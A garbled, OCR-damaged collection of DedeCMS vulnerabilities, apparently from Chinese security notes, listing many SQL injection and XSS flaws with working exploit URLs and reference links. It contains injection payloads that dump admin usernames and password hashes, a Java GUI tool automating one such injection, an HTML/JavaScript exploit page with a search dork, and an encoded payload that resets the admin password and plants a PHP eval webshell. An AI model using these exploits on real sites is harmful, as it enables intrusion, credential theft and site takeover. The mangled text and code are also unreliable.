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U REETHNSSHBNSEEE payload, b0 SQL FANFI XSS]
Sql FFA

#Dedecms /member/reg_new.php SQL JEANIRIE

AR
/member/reg_new.php?dopost=regbase&step=1&mtype=%B8%F6%C8%CB&mtype=%B8%F6%C8%CB&use
rid=123asd123&uname=12asd13123&userpwd=123123&userpwdok=123123&email=1213asd123%40Q
Q.COM&safequestion=1',"'1111111111111", '1389701121",'127.0.0.1",'1389701121", '127.0.
0.1'), ("TA

',user(), '4297f44b13955235245b2497399d7a93", '12a2s11111111111111111d13123","'",'10","
0','1213asd11111111111123@QQ.COM", ‘100", '0',"-
10',"'","1&safeanswer=1111111111111&sex=&vdcode=slum&agree= 2

//#B vdcode=s Lum 205 EIH U

//mtype, safeanswer, safequestion 2#771E sql ;EA

HEXE http//www.dedeyuan.com/xueyuan/azsy/3175.html

http://www.dede58.com/a/zhimengjiaocheng/dedefault/8051.html

#Dedecms /member/buy_action.php SQL yF A\

IRRSEI

BEREDTITXE,

HEXE: http//www.vuln.cn/6162
https://blog.csdn.net/jay900323/article/details/41311407

#Dedecms /member/buy_action.php SQL yF A\

imRE I
FEMuEA= B BB PE N B RFR, o PUE 123 Bk 123", echo phinfo()# K& =M
It = R R


http://www.dedeyuan.com/xueyuan/azsy/3175.html
http://www.dede58.com/a/zhimengjiaocheng/dedefault/8051.html
http://www.vuln.cn/6162
https://blog.csdn.net/jay900323/article/details/41311407
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B C\wamp\wwwi\ZMydata\cache\typename.ine (ZM) - Sublime Text _

WEHF)  Edit FEE(S) () EE(V) BS5(G) Tools MB(P) Preferences Help Folders
FOLDERS
\a=r
»Da
¥ 5 data 1 '123" ;echo phpinfo();
» [ admin
» [3 backupdata
v [ cache
» 3 flink
» [ json
» [ listcache
» [ memberlogin
[ admincat_l.inc
[ inc_catalog_base.inc
[ indexhtm
M myad-16.htm
[ myad-18.htm
&}
» O enums
Dis
» [ mail
» [0 mark
» [0 module
» [ payment

» 0 rss

SZNE: https//www.secpulse.com/archives/37218.html

#Dedecms 5.7 plus/guestbook.php JENIFIE

wiE =3

A AR

http:

[@E/4%48] LRATLERLRIEESH I0. WIS 1D, fin:
http://localhost/Dedecms5.7/plus/guestbook.php?action=admin&id=1
E):

http:

BRE, WRE dede5.7 iRARE, SEM"MIIENEEE—KES", IPMIEBIESAINT
BiREF: http:

WRGEEHEI, BPEE 10 WABERRIN, APFtiERE R LAFIF.
B ERiGIa):

http:

AAEIRE], BBSREES ID WASHERIERA T mysql B user().

POC, msg ##7£ SQLEAN

http:/127.0.0.1/plus/guestbook.phpraction=admin&job=editok&id=146&msg=",msg=@" '~ ,ms
g=(selecT CONCAT(userid,@x7c,pwd) fRom "%23@_admin® LIMIT ©,1),email="

SENE https://www.cnblogs.com/LittleHann/p/4521599.htm|



https://www.secpulse.com/archives/37218.html
https://www.cnblogs.com/LittleHann/p/4521599.html
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#Dedecms 5.7 /plus/recommend.php SQL 3 FAJ&ETE

iR Z I3

_FILES[type][tmp_name]Z¥1E/E SQL VEN, type Fll tmp_name +& ] 2% )
http://127.0.0.1/plus/recommend.php?action=&aid=1& FILES[type][tmp_name]=\"' or mid=
@ \'" /*!50000union*//*!50000select*/1,2,3,(select CONCAT(Ox7c,userid,0x7c,pwd)+fro
m+ %23@__admin® limit+e@,1),5,6,7,8,9%23@ \' +& FILES[type][name]=1.jpg& FILES[type]
[type]=application/octet-stream& FILES[type][size]=111

java RS THINT:

package org.javaweb.dede.ui;

import java.awt.Toolkit;

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.URL;

import java.util.regex.Matcher;

import java.util.regex.Pattern;

Vi
*
* @author yz
*/

public class MainFrame extends javax.swing.JFrame {

private static final long serialVersionUID = 1L;

Vit
* Creates new form MainFrame
*/

public MainFrame() {

initComponents();

public String request(String url){
String str = "",tmp;
try {
BufferedReader br = new BufferedReader(new InputStreamReader(new
URL(url).openStream()));
while( (tmp=br.readLine())!=null){
str+=tmp+"\r\n";
}
} catch (Exception e) {

jTextAreal.setText(e.toString());
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}

return str;

private void initComponents() {

jPanell = new javax.swing.JPanel();

jLabell = new javax.swing.JLabel();
jTextFieldl = new javax.swing.JTextField();
jButtonl = new javax.swing.JButton();
jScrollPanel = new javax.swing.JScrollPane();

jTextAreal = new javax.swing.JTextArea();

setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);

jLabell.setText("URL:");
jTextFieldl.setText("http://localhost");

this.setTitle("Dedecms recommend.php EANFIFHITE-p2j.cn");

int screenWidth = Toolkit.getDefaultToolkit().getScreenSize().width;
int screenHeight = Toolkit.getDefaultToolkit().getScreenSize().height;
this.setBounds(screenWidth / 2 - 229, screenHeight / 2 - 158, 458, 316);

jButtonl.setText("$KEX");
jButtonl.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {

jButtonlActionPerformed(evt);

})s

jTextAreal.setColumns(20);
jTextAreal.setRows(5);
jScrollPanel.setViewportView(jTextAreal);

javax.swing.GroupLayout jPanelllayout = new
javax.swing.GrouplLayout(jPanell);

jPanell.setLayout(jPanelllLayout);

jPanelllLayout.setHorizontalGroup(

jPanelllLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanellLayout.createSequentialGroup()
.addGroup(jPanelllLayout.createParallelGroup(javax.swing.GroupLayout.A
lignment.TRAILING, false)
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.addComponent(jScrollPanel,
javax.swing.GroupLayout.Alignment.LEADING)

.addGroup(javax.swing.GroupLayout.Alignment.LEADING,
jPanelllLayout.createSequentialGroup()

.addContainerGap()

.addComponent(jLabell)

.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RE
LATED)

.addComponent(jTextFieldl,
javax.swing.GroupLayout.PREFERRED_SIZE, 331,
javax.swing.GroupLayout.PREFERRED_SIZE)

.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RE
LATED)

.addComponent(jButtoni,
javax.swing.GroupLayout.PREFERRED_SIZE, 83,
javax.swing.GroupLayout.PREFERRED_SIZE)))

.addGap(@, 0, Short.MAX_VALUE))
)s
jPanellLayout.setVerticalGroup(

jPanelllLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanelllLayout.createSequentialGroup()
.addContainerGap()
.addGroup(jPanelllLayout.createParallelGroup(javax.swing.GrouplLayout.A
lignment.BASELINE)
.addComponent(jLabell)
.addComponent (jTextFieldl,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GrouplLayout.PREFERRED_SIZE)

.addComponent (jButtonl))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jScrollPanel, javax.swing.GrouplLayout.DEFAULT_SIZE,

254, Short.MAX_VALUE))

)5

javax.swing.GroupLayout layout = new
javax.swing.GrouplLayout(getContentPane());
getContentPane().setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jPanell, javax.swing.GrouplLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)

)5
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layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jPanell, javax.swing.GrouplLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)

DS

pack();
}Y// </editor-fold>

private void jButtonlActionPerformed(java.awt.event.ActionEvent evt) {
String url = jTextFieldl.getText();
if(null==url||"".equals(url)){
return ;
}
String result =
request(url+"/plus/recommend.php?action=&aid=1&_ FILES[type][tmp_name]=\\%27%200r%20
mid=@" \\%27 %20/*!50000union*//*!50000select*/1,2,3, (select%20CONCAT(0x7c,userid, Ox
7¢,pwd)+from+” %23@__admin” %201imit+0,1),5,6,7,8,9%23@ \\%27 +& FILES[type][name]=1.
jpg& FILES[type][type]=application/octet-stream& FILES[type][size]=4294");
Matcher m = Pattern.compile("<h2>(.*)</h2>").matcher(result);
if(m.find()){
String[] s = m.group(1).split("\\|");
if(s.length>2){

jTextAreal.setText("UserName:"+s[1]+"\r\nMD5:"+s[2].substring(3,s[2].1length()-1));
}

public static void main(String args[]) {
java.awt.EventQueue.invokeLater(new Runnable() {
public void run() {

new MainFrame().setVisible(true);

})s

// Variables declaration - do not modify
private javax.swing.JButton jButtonil;

private javax.swing.JLabel jLabell;

private javax.swing.JPanel jPanell;

private javax.swing.JScrollPane jScrollPanel;
private javax.swing.JTextArea jTextAreal;

private javax.swing.JTextField jTextFieldl;
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// End of variables declaration

SXENE. https//www.freebuf.com/sectool/27206.html

#Dedecms v5.1 /tag.php SOL JFNIRE

REEI
KIKBF AT E BEOIXE.
SENE: http://www.phperz.com/phpcms/Dedecms/0RG51220081512.htmll

#Dedecms 5.1 /plus/infosearch.php SQL 3 A IRE

AR
i F X s AR 1)

http://www.nxadmin.com/plus/search.php?keyword=as&typeArr[ uNion ]=a

IREBWR A Safe Alert: Request Error step 2 !

MF AT exp:
http://www.nxadmin.com/plus/search.php?keyword=as&typeArr[111%3D@" \'
*)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,
25,26, pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+ %23@__admin %23@" \'
“+]=a ©x2: http://www.nxadmin.com/plus/search.php?keyword=as&typeArr[ uNion ]=a

IREEINE A Safe Alert: Request Error step 1 !

WF AT exp:

http://www.nxadmin.com/plus/search.php?keyword=as&typeArr[111%3D@ \'

" )+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2), (substring((select+C
ONCAT (©x7c,userid,0x7c,pwd)+from+  %23@ admin’ +1imit+0,1),1,62)))a

+from+information_schema.tables+group+by+a)b)%23@ \' ~+]=a

HEXE http//www.nxadmin.com/web/1043.html

#DEDECMS 5.1 /plus/feedback_js.php SQOL yF N\ JEE

iR Z IR

Z# arurl 727 SOL ST,

http://stOp/Dedecms51/plus/feedback_js.php?arcurl=" union select "' and 1=2 union
select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union

select * from dede_feedback where 1=2 and ''='" from dede_admin where ''="'

SXEXE https://www.cnblogs.com/milantgh/p/3616016.html



https://www.freebuf.com/sectool/27206.html
http://www.phperz.com/phpcms/dedecms/0RG51220081512.html
http://www.nxadmin.com/web/1043.html
https://www.cnblogs.com/milantgh/p/3616016.html
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#Dedecms V5.7 SP1 /member/mtypes.php SQL FNIFHE

imRE I

1B %&FTF: http://127.0.0.1/Dedecms5.5/member/mtypes.php

2. FII—AEE, B IDA), FIRSEHS KB FR(fenlei)

3. REFTFH:
http://127.0.0.1/Dedecms5.5/member/mtypes.php?dopost=save&mtypename[1l' or @™
AND 1%3D1 and (select 'r')%3D'r' and '1'%3D'1]=4

/I E RS 1 AR IRAY S ID

4. ERZ BT ZEIRE: http://127.0.0.1/Dedecmsb.5/member/mtypes.php
/130 R (select 'r)="rB91E MBADTKBRMEBUK T 4! XHERMNMERAMESHE KM
T, ZTEAMEAN

iz 71D PEZ PEER

1 CENE 4

_TEX

SXENE. https//www.cnblogs.com/LittleHann/p/4518862.html

#Dedecms 5.7 /plus/flink_add.php SQL S EAJE

poNEEE

W uh S ARE,

Post IEK Ay logo SE7F7E SQLEAN
http://127.0.0.1/plus/flink add.php

(post)
Submit=%20%E6%8F%90%20%E4%BA%AL%20&dopost=save&email=&logo=,if (@ ' ,0x7c, (select

concat(userid,0x7c,pwd) from dede_admin limit

0,1)),1,1,1,1,1)#,@ ' &typeid=1&url=http%3A%2F%2F&validate=spen& FILES[webname][nam
e]=1.gif& FILES[webname][type]=image/gifx& FILES[webname][size]=10&& FILES[webname]
[tmp_name]=pass\

BRI logo MEB AMEERIMNGR, FRMWHEK. (BRRERD)

Moot B £

2
DEDE

g il

0BCMSET DedeCMSHIEFH  OERAmtE

/ DedeCMSV57_UTF8_SF JesDev
Mmr)z( © 2002-2011 DEDECMS. {0321 ifi9fF# Power by DedeCms
| Elements | Resources Network Sources Timeline Profiles Au;»é Console
¥ <din ETe™>-c/av>

cdiv ox"> / “| |Styles | Computed Event Listeners

veu element.style {
b / )
» .

T pr———

b< / #5 1i a img {
ve

rc- ‘admin| £297a5725a7438942@e4" wic h="88" height="31" border:

—"g" alt="exp" ,'>

/e media ee
</1i> img {


http://127.0.0.1/dedecms5.5/member/mtypes.php
https://www.cnblogs.com/LittleHann/p/4518862.html
http://127.0.0.1/plus/flink_add.php
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SXZNE. https//www.seebug.org/vuldb/ssvid-89275
http://wooyun.webbaozi.com/bug_detail.php?wybug_id=wooyun-2014-051950

http://ju.outofmemory.cn/entry/81870

#Dedecms 5.7 member/ajax_membergroup.php SQL JEFA R
N

poNCEE)

2% membergrop 7£7 SQL ;A
http://127.0.0.1/member/ajax_membergrop.php?action=post&member=
HXEXE: http://www.vfocus.net/art/20120504/9998.htm!

#Dedecms V5.7 plus\feedback.php SQL FAJRIE

wiE =3
S aid B sql 3TN, FERILRL
http://127.0.0.1/plus/feedback.phpraid=
poc ZA TN
<html>
<head>
<title>Dedecms v5. feedback.php exp</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<script language='javascript'>
y = document.forml.addr.value;
function exploit()
{
var yanzhen = document.getElementById("yanzhen").value;
var aid = document.getElementById("aid").value;
var sqli = document.getElementById("sqli").value;
document.forml.typeid.value = "0','3','4','5"','0","'1351739660",
'9','0','0','0",'0",'aaaaaa’'), ('" + aid +"','2',@ ','4','5"','1','1351739660",
'9','0','0','0",'0", "+sqli+")#";
document.forml.action = document.forml.addr.value + "/plus/feedback.php";
document.forml.te.name = "action";
document.forml.submit();
}
function getyanzhen()
{
var x = "<img src=""+ document.forml.addr.value +"/include/vdimgck.php'
width="60" height="24" onclick=\"this.src=this.src+'?"'\">";
document.body.innerHTML+=Xx;

document.forml.addr.value = y;


https://www.seebug.org/vuldb/ssvid-89275
http://wooyun.webbaozi.com/bug_detail.php?wybug_id=wooyun-2014-051950
http://ju.outofmemory.cn/entry/81870
http://www.vfocus.net/art/20120504/9998.html
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}
function look()
{
window.location.href =
document.forml.addr.value+"/plus/feedback.php?aid="+document.getElementById("aid").
value;
}
</script>
</head>
<body>
AR <D />
Dedecms v5. feedback.php $typeid SQLi<br/>
Dork:inurl:plus/feedback.php?aid=<br/>
HHHHHHHEEHHHE R R <br / > <br />
<form action="xxx" method="get" name="forml" target="_blank">
T2 URL:<input type="text" id="addr" value="http://" /><br/>
ISUFRS: <input type="text" name="validate" id="yanzhen" value=""/><br/>
FERY Aid:<input type="/><br/>
SQL JENIEA] : <input type="text" id="sqli" value="(SELECT concat(uname,@x5f,pwd,0x5F)
FROM “dede_admin®)" style="width:500px;"/><br/>
<input type="hidden" name="" id="te" value="send"/>
<input type="hidden" name="comtype" value="comments"/>
<input type="/>
<input type="hidden" name="isconfirm" value="yes"/>
<input type="hidden" name="msg" value="9@sec"/>
<input type="hidden" name="typeid" value=""/>
<input type="button" onclick="getyanzhen();" value="3REXE&iFF3">
<input type="button" onClick="exploit()" value="#Exploit#" />
<input type="button" onClick="look()" value="EEZER" /><br/>
</form>
</body>
</html>

SXENE https://www.bbsmax.com/A/pRdBnWA9dn/

#Dedecms 5.7 plus/search.php SQL N JRE

iR =
uNion &8> 4F7E SQL EN
http://webshell.cc/plus/search.php?keyword=as&typeArr[ uNion ]=a

SENE https://blog.csdn.net/p656456564545/article/details/16112581



https://www.bbsmax.com/A/pRdBnWA9dn/
https://blog.csdn.net/p656456564545/article/details/16112581
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#Dedecms 5.7 include/dedesql.class.php SQL 7 F A JsTE

AR
#1& SQL ER) (IRAZMIRHE A ascii I1E, BRFBERNENBRERN, PrIXLHR gpo):

admin® SET “userid ='spider', “pwd ='f297a57a5a743894a0e4"' where id=1 #

SE# SQL 154
UPDATE “dede_admin® SET “userid ='spider', “pwd ='f297a57a5a743894a0e4' where id=1
# downloads™ SET downloads = downloads + 1 WHERE hash='$hash'

EXP:
http://localhost/plus/download.php?open=1&arrsl/ /=99&arrsl/ [=102&arrsl/ |=103&arrsl/
]=95&arrsl[ [=100&arrsl/ |=98&arrsl/ |=112&arrsl/ [=114&arrsl/[ [=101&arrsl/ |=1028&arrsl/ ]
=105&arrsl/ [=120&arrs2/[ [=97&arrs2/[ |=100&arrs2/ |=109&arrs2/ |=105&arrs2[ |=110&arrs2/ |
=968&arrs2/ |=32&arrs2/ [=83&arrs2/[ [=69&arrs2/[ [=84&arrs2[ |=32&arrs2/ |=96&arrs2/ |=117&a
rrs2/ ]=115&arrs2/[ [=101&arrs2/[ |=114&arrs2/ |=105&arrs2/ [=100&arrs2[ |=96&arrs2/[ |=61&ar
rs2/ ]=39&arrs2/ |=115&arrs2[ [=112&arrs2/[ |=105&arrs2/ |=100&arrs2/ [=101&arrs2/[ [=114&ar
rs2/ [=39&arrs2/ |=44&arrs2[ [=32&arrs2/ |=96&arrs2/[ [=112&arrs2/ [=119&arrs2/[ |=100&arrs2
[ ]=96&arrs2[ |=61&arrs2/ |=39&arrs2/ |=102&arrs2/[ |=50&arrs2/[ |=57&arrs2/[ |=55&arrs2/ |=97
&arrs2/[ ]=53&arrs2/[ |=55&arrs2/[ |=97&arrs2/ |=53&arrs2/[ |=97&arrs2/ |=55&arrs2/ [=52&arrs2
[ ]=51&arrs2/[ |=56&arrs2/[ |=57&arrs2[ |=52&arrs2/[ |=97&arrs2/[ [=48&arrs2/[ |=101&arrs2/[ =52
&arrs2/[ ]=39&arrs2/[ |=32&arrs2/[ /=119&arrs2/ |=104&arrs2/ [=101&arrs2[ |=114&arrs2/[ |=101&
arrs2/[ /=32&arrs2/[ |=105&arrs2/ |=100&arrs2/ [=61&arrs2/[ [=49&arrs2[ |=32&arrs2/[ |=35

MBARHEE, FEEXAA spider BT admin FmEEMARLE—4, &fEE, TREARD
W7, R, SIRIBIETR. MRBFIEE, SRMAIERIIBELES SHELL A775%
UPDATE “dede_mytag™ SET “normbody™ =
'{dede:php}file_put_contents(''spider.php'',"'"'</--?php eval ($_POST[spider]);?-
->'");{/dede:php}' WHERE ~aid™ =1 LIMIT 1 ;

getshell:

http://localhost/plus/download.php?open=1&arrsl/ [=99&arrsl/[ [=102&arrsl/ |=103&arrsl/
]=95&arrsl/ |=100&arrsl/ [=98&arrsl/ |=112&arrsl/ |=114&arrsl/ |]=101&arrsl/ |=102&arrsl/ ]
=105&arrsl/ [=120&arrs2[ [=109&arrs2[ |=121&arrs2/ |=116&arrs2/ [=97&arrs2[ |=103&arrs2/ |
=968&arrs2/ ]=32&arrs2/ [=83&arrs2/[ [=69&arrs2|[ [=84&arrs2[ |=32&arrs2/ |=96&arrs2/ |=110&a
rrs2[ [=111&arrs2/ |=114&arrs2/[ [=109&arrs2/ |=98&arrs2/[ [=111&arrs2/ |=100&arrs2/[ |=121&a
rrs2/ ]=96&arrs2/ [=32&arrs2/[ [=61&arrs2[ [=32&arrs2[ |=39&arrs2/ |=123&arrs2/ |=100&arrs2
[ ]=101&arrs2/[ |=100&arrs2/[ [=101&arrs2/[ |=58&arrs2/[ |=112&arrs2/ |=104&arrs2/ |=112&arrs2
[ ]=125&arrs2/ |=102&arrs2/[ [=105&arrs2/ /=108&arrs2/[ [=101&arrs2/ [=95&arrs2/ |=112&arrs2
[ ]=117&arrs2/[ |=116&arrs2/[ [=95&arrs2[ [=99&arrs2[ |=111&arrs2/[ |=110&arrs2/ |=116&arrs2/
J=101&arrs2[ |=110&arrs2/[ |=116&arrs2/ [=115&arrs2[ [=40&arrs2[ [=39&arrs2/[ |=39&arrs2/ |=
1208&arrs2/ [=46&arrs2[ |=112&arrs2/ |=104&arrs2/ |=112&arrs2/ [=39&arrs2/[ [=39&arrs2[ |=44
&arrs2/[ ]=39&arrs2/[ |=39&arrs2/[ |=60&arrs2/ |=63&arrs2/[ |=1128&arrs2/ [=104&arrs2/[ [=112&ar
rs2/ ]=32&arrs2/ [=101&arrs2/[ [=118&arrs2/[ |=97&arrs2/[ |=108&arrs2/ |=40&arrs2/ |=36&arrs2
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[ ]=95&arrs2/[ |=80&arrs2/[ |=79&arrs2[ |=83&arrs2/[ |=84&arrs2/[ [=91&arrs2/ |=109&arrs2/[ =93
&arrs2/[ [=41&arrs2/ |=59&arrs2/[ [=63&arrs2/ |=62&arrs2/[ [=39&arrs2/[ |=39&arrs2/[ |=41&arrs2
[ ]=59&arrs2[ |=123&arrs2[ [=47&arrs2[ |=100&arrs2/[ |=101&arrs2/ [=100&arrs2/ |=101&arrs2/
/=58&arrs2/[ ]=112&arrs2[ [=104&arrs2[ |=112&arrs2/[ [=125&arrs2/[ |=39&arrs2/ |=32&arrs2/ |=
87&arrs2/[ |=72&arrs2/[ [=69&arrs2/[ |=82&arrs2/[ [=69&arrs2[ |=32&arrs2/[ [=96&arrs2/ |=97&arr
s2/[ |=105&arrs2/ |=100&arrs2/ [=96&arrs2/ |=32&arrs2/[ [=61&arrs2/ |=49&arrs2/[ [=32&arrs2/ |
=35

S plus BEREM xphp B m http://127.0.0.1/plus/x.php update FINEEEHE T
/plus/mytag_js.php?aid=1

SXENE: https//www.hedysx.com//bug/1272.htm!

#2055 (Dedecms)2007 group/search.php JENIJFIE

poNEEE)

4] keyword F#7E sql JFEAN
http://127.0.0.1/dg/group/search.php?sad=g&keyword=%cf"
HEXE https://www.seebug.org/vuldb/ssvid-3926

#Dedecms V5 orderby S¥0F 54 J%E

poNEEE
245 orderby 127E sql JEA
http://127.0.0.1/member/guestbook_admin.php?dopost=getlist&pageno=1&orderby=11

HEXE: https//www.seebug.org/vuldb/ssvid-3824
https://blog.csdn.net/weixin_34021089/article/details/86149637

#Dedecms V5.6 plus/advancedsearch.php & sql 1IBEHIT

iR Z IR

S sql 727 SOL ST,
http://127.0.0.1/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20" %23@__admin
SXENE https://www.seebug.org/vuldb/ssvid-19796

#Dede(ZR %) CMS SQL Injection Vulnerability

mEEIN
Z40id 7€ SQLEA


https://www.hedysx.com/bug/1272.html
https://www.seebug.org/vuldb/ssvid-3926
https://www.seebug.org/vuldb/ssvid-3824
https://blog.csdn.net/weixin_34021089/article/details/86149637
https://www.seebug.org/vuldb/ssvid-19796
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http://127.0.0.1/1ist.php?id=[sql]
http://127.0.0.1/members.php?id=[sql]
http://127.0.0.1/book.php?id=[sql]

SENE https://www.seebug.org/vuldb/ssvid-26137

#4878 (Dedecms)plus/infosearch.php ASENTRIE

mEEI

S8 q 77E SQLIEAN
http://localhost/plus/infosearch.php?action=search&qg=%cf'%20union%20select%201,2,us
erid,4,pwd, 6%20from%20dede_admin/*

HEXE https://www.seebug.org/vuldb/ssvid-4452

XSS

#Dedecms &R xss IRE

mEEIN

EBERES A% > XNITE >EFEARNEKE EIN—MEEAR. ZEEERBPEBA xss
payload BIoJfitki®iE. FEEMaIS&SME.

B ARES K

B |nss *ERMRSERET B

Fim: (oo o <RENFANTEE. BEWE HEE RS

<ftextarea’{svgfonload=alert 0)>
EER: BE1000 T EM, §EHE-T-

W ER



https://www.seebug.org/vuldb/ssvid-26137
https://www.seebug.org/vuldb/ssvid-4452
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BENE
https://www.seebug.org/vuldb/ssvid-92863

#Dedecms FHEMFEE M ARTE

mAEH
BIEMPERTE, AHEBIHES xss BIHRE,

“<svg/onload=alert(@)>"

wiliTeEs
st |<svgjonload=alert(0)> _ « BESHEE AR
BESA EE_______Txﬁ;;;ﬁﬁﬁ\\R
Email | | . BT
FH/BiE IIEBSSBEHSBS |* BESTILEERSEE
e |+ mmstest : 300030
wWiLiTeEE
BWEEE

EENEESHESENERNEHER, Eﬂ"ﬁ%ﬂ@ﬂ’ﬂd‘ﬁ%‘fl%ﬁ‘i&ﬂ}

P =S VDEU FrEs—i

#ATe

TREZFECHERTORETINEE xssiwmE itk


https://www.seebug.org/vuldb/ssvid-92863
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FEMNEEEREE A xss KR

[

&
E¥)
%
"
*
-

R - R

[

~ FRRE

o RAELEH

o FASEE

o AFERE

o BEEARATE
o FHATEER

o BiE2iEE

o EEKENEE

o BEXIEETE
o $PHEERE

o ARERRE

o FYRERE

o HAIHER

o HEEFNAITR
o SUL&GSTTR
o JHHgs)

o FAEHHES)

o FERIEE(]

-~ ZHTR

o Sk
o SEEREE
o BREHNE
o ERAEEIR

S-P1490853025RN171 - Google Chrome

=

® 127.0.0.1/dede/shops_operations_cart.php?oid=5-P1490853025RN171

127.001 B :

IS 127.0.0.1 H9BRL...

1
IR FER 0
BEHET] B8R0 21
2017-03-30 14:06:55

test

»

o FETHIIT e

o EAEOER
o BHEHERERE

SEXE
https:.//www.seebug.org/vuldb/ssvid-92855

#Dedecms referer xss FE

mAE

SEXE
https://www.seebug.org/vuldb/ssvid-89657

FNTHES:

1 [FE]
1 [

http://wooyun.webbaozi.com/bug _detail.php?wybug _id=wooyun-2014-075535



https://www.seebug.org/vuldb/ssvid-92855
https://www.seebug.org/vuldb/ssvid-89657
http://wooyun.webbaozi.com/bug_detail.php?wybug_id=wooyun-2014-075535

wLHK

#Dedecms 273 v5.6 FANELEIRIE

AR

TotalResult. gourl Z#{F7E XSS

http://www.test.com
/plus/search.php?keyword=zhuba&searchtype=titlekeyword&channeltype=0&orderby=&
kwtype=1&pagesize=10&typeid=0&TotalResult=<iframe
src=http://www.zhuba.net>&PageNo=2

http://www.test.com/member/login.php?gourl="><iframe src=http://www.zhuba.net>

SEXNE
https://www.seebug.org/vuldb/ssvid-19526

#Dedecms A% v5.5 FANEYLIRIE

poNEEE)

Keyword. TotalResult f77E XSS,
http://www.Dedecms.com/plus/search.php?keyword="><iframe
src=http://www.gohack.org>&searchtype=titlekeyword&channeltype=0&orderby=&kwtype=1&
pagesize=10&typeid=0&TotalResult=<iframe src=http://www.gohack.org>&amp;PageNo=2

http://www.Dedecms.com/plus/list.php?tid=6&TotalResult=<iframe
src=http://www.gohack.org>&nativeplace=0&infotype=0&keyword=&orderby=hot&PageNo=2

SEXE
https://www.seebug.org/vuldb/ssvid-19284

#Dedecms 5.7 config.php Eub AR

iR Z IR

adminDirHand {777 XSS,
http://127.0.0.1/Dedecms/include/dialog/config.php?adminDirHand="/></script><script
>alert(1);</script>

SEXE
https://www.seebug.org/vuldb/ssvid-61209



https://www.seebug.org/vuldb/ssvid-19526
https://www.seebug.org/vuldb/ssvid-19284
https://www.seebug.org/vuldb/ssvid-61209
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#Dedecms 5.7/images/swfupload/swfupload.swf &b B A s
NE!

AR

movieNane S 7 XSS,
http://localhost/Dedecms/uploads/images/swfupload/swfupload.swf?movieName="])}catch
(e){if(!window.x){window.x=1;alert("bugl024")}}//

SEXE
https://www.seebug.org/vuldb/ssvid-62579

#DEDECMS \dede\templets\login.htm gotopage Z & XSS

poNEEE)

gotopage SEIFFE xss.
http://v57.demo.Dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharc
ode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,9
9,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,10
5,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,1
14,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,1
01,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,
101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101
,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,
10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,1
12,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,4
3,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77, 84,83,
116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,11
1,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,
108,32,33,33,33,33,39,41,59))</script><x="

SEXE
https://www.seebug.org/vuldb/ssvid-21023

#DEDECMS BESuh X R4 X B 12 IR
mEEDR

ZE gurl I77E xss,
http://127.0.0.1/dc/include/jump.php?gurl=%23"</script><script>alert(/00day.cn/)</s

cript>/*

SEXE


https://www.seebug.org/vuldb/ssvid-62579
https://www.seebug.org/vuldb/ssvid-21023

wLHK

https://www.seebug.org/vuldb/ssvid-4125

Dedecms <=5.7 member-login.php AR HKE

AR
gourl Z#{F7 XSS,
http://127.0.0.1/dc/member/login.php?gourl=%23"</script><script>alert(/00day.cn/)</

script>/*

#Dedecms 5.x catalog_tree.php B3t ANt IRE

IRREI

Bt. v. f SEFTE xss /i

[Dedecms WebSite]/dede/catalog_tree.php?f=forml&opall=1&v=typeid&bt=[XSS]
[Dedecms WebSite]/dede/catalog tree.php?f=forml&opall=1&v=[XSS]

[Dedecms WebSite]/dede/catalog _tree.php?f=[XSS]

SEXE

#Dedecms 5.x jump.php B IAX #HRE

poNEEE
gurl SE#FE XSS,
http://127.0.0.1/dc/include/jump.php?gurl=%23"</script><script>alert(/00day.cn/)</s

cript>/*

#Dedecms 5.x article_keywords_select.php i A X &5 %
NG|
AN

f SEFF1E XSS,
[Dedecms WebSite]/dede/article_keywords_select.php?f=[XSS]

#Dedecms 5.x pic_view.php BuEB A & %E

iR Z I
Activepath F7E xss.
[Dedecms WebSite]/dede/file pic_view.php?activepath=[XSS]


https://www.seebug.org/vuldb/ssvid-4125
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#Dedecms 5.x content_list.php By A Z o7 i

iR Z I3

Arcrank. cid. keyword. orderby. adminid f77E XSS.

